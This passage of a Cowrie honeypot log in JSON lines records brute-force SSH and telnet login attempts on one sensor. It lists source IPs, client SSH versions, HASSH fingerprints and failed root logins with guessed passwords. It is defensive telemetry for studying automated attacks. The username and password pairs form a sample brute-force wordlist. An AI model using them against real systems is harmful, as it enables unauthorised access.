ha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:22.717332Z","src_ip":"103.91.246.101","session":"a13ae81c6d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.baidu.com","message":"login attempt [root/www.baidu.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:23.707276Z","src_ip":"103.91.246.101","session":"a13ae81c6d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:24.948808Z","src_ip":"103.91.246.101","session":"a13ae81c6d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.528472661972046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:27.521679Z","src_ip":"59.31.223.24","session":"24ac6c5f69be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":52240,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc1403b688b8","protocol":"ssh","message":"New connection: 171.244.141.86:52240 (159.203.135.109:22) [session: bc1403b688b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:30.074539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:30.080075Z","src_ip":"171.244.141.86","session":"bc1403b688b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:30.324817Z","src_ip":"171.244.141.86","session":"bc1403b688b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:31.330069Z","src_ip":"171.244.141.86","session":"bc1403b688b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:32.577697Z","src_ip":"171.244.141.86","session":"bc1403b688b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.001299142837524,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:32.944046Z","src_ip":"178.83.200.3","session":"9209b60b93a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.59062147140503,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:35.655539Z","src_ip":"186.195.16.41","session":"94d9835f5191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49654,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c46080000ec","protocol":"telnet","message":"New connection: 192.119.13.58:49654 (10.17.0.5:23) [session: 6c46080000ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:38.145391Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":40218,"dst_ip":"159.203.135.109","dst_port":22,"session":"89fa7f57338b","protocol":"ssh","message":"New connection: 170.106.188.200:40218 (159.203.135.109:22) [session: 89fa7f57338b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:44.818736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:44.824645Z","src_ip":"170.106.188.200","session":"89fa7f57338b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:44.892865Z","src_ip":"170.106.188.200","session":"89fa7f57338b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1314520","message":"login attempt [root/1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:45.197990Z","src_ip":"170.106.188.200","session":"89fa7f57338b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:46.268950Z","src_ip":"170.106.188.200","session":"89fa7f57338b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40458,"dst_ip":"159.203.135.109","dst_port":22,"session":"73512ac6911b","protocol":"ssh","message":"New connection: 103.122.221.179:40458 (159.203.135.109:22) [session: 73512ac6911b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:51.666301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:51.671195Z","src_ip":"103.122.221.179","session":"73512ac6911b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:51.933548Z","src_ip":"103.122.221.179","session":"73512ac6911b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amanda","message":"login attempt [root/amanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:52.719446Z","src_ip":"103.122.221.179","session":"73512ac6911b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:53.983591Z","src_ip":"103.122.221.179","session":"73512ac6911b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":58950,"dst_ip":"159.203.135.109","dst_port":22,"session":"b49eb2d68bf7","protocol":"ssh","message":"New connection: 43.173.125.185:58950 (159.203.135.109:22) [session: b49eb2d68bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:58.361153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:58.365612Z","src_ip":"43.173.125.185","session":"b49eb2d68bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:58.433554Z","src_ip":"43.173.125.185","session":"b49eb2d68bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amir1234","message":"login attempt [root/amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:58.744285Z","src_ip":"43.173.125.185","session":"b49eb2d68bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:24:59.815763Z","src_ip":"43.173.125.185","session":"b49eb2d68bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60100,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20813ae791e","protocol":"ssh","message":"New connection: 103.77.175.15:60100 (159.203.135.109:22) [session: c20813ae791e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:01.372474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:01.385878Z","src_ip":"103.77.175.15","session":"c20813ae791e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:01.646247Z","src_ip":"103.77.175.15","session":"c20813ae791e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:02.438253Z","src_ip":"103.77.175.15","session":"c20813ae791e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:03.698298Z","src_ip":"103.77.175.15","session":"c20813ae791e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":56674,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5a0c0a3da0","protocol":"ssh","message":"New connection: 103.183.114.55:56674 (10.17.0.5:22) [session: 9c5a0c0a3da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:07.093868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:07.099042Z","src_ip":"103.183.114.55","session":"9c5a0c0a3da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:07.322016Z","src_ip":"103.183.114.55","session":"9c5a0c0a3da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"989898","message":"login attempt [root/989898] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:07.990585Z","src_ip":"103.183.114.55","session":"9c5a0c0a3da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:09.221365Z","src_ip":"103.183.114.55","session":"9c5a0c0a3da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.68280816078186,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:11.828115Z","src_ip":"192.119.13.58","session":"6c46080000ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33978,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee75ca65ea0","protocol":"ssh","message":"New connection: 193.37.70.224:33978 (159.203.135.109:22) [session: fee75ca65ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:25.365628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:25.369668Z","src_ip":"193.37.70.224","session":"fee75ca65ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:25.458631Z","src_ip":"193.37.70.224","session":"fee75ca65ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"33rjhjds","message":"login attempt [root/33rjhjds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:25.762791Z","src_ip":"193.37.70.224","session":"fee75ca65ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:26.859044Z","src_ip":"193.37.70.224","session":"fee75ca65ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":54932,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca09192f3df","protocol":"ssh","message":"New connection: 43.173.125.185:54932 (159.203.135.109:22) [session: cca09192f3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:35.226917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:25:35.230763Z","src_ip":"43.173.125.185","session":"cca09192f3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","e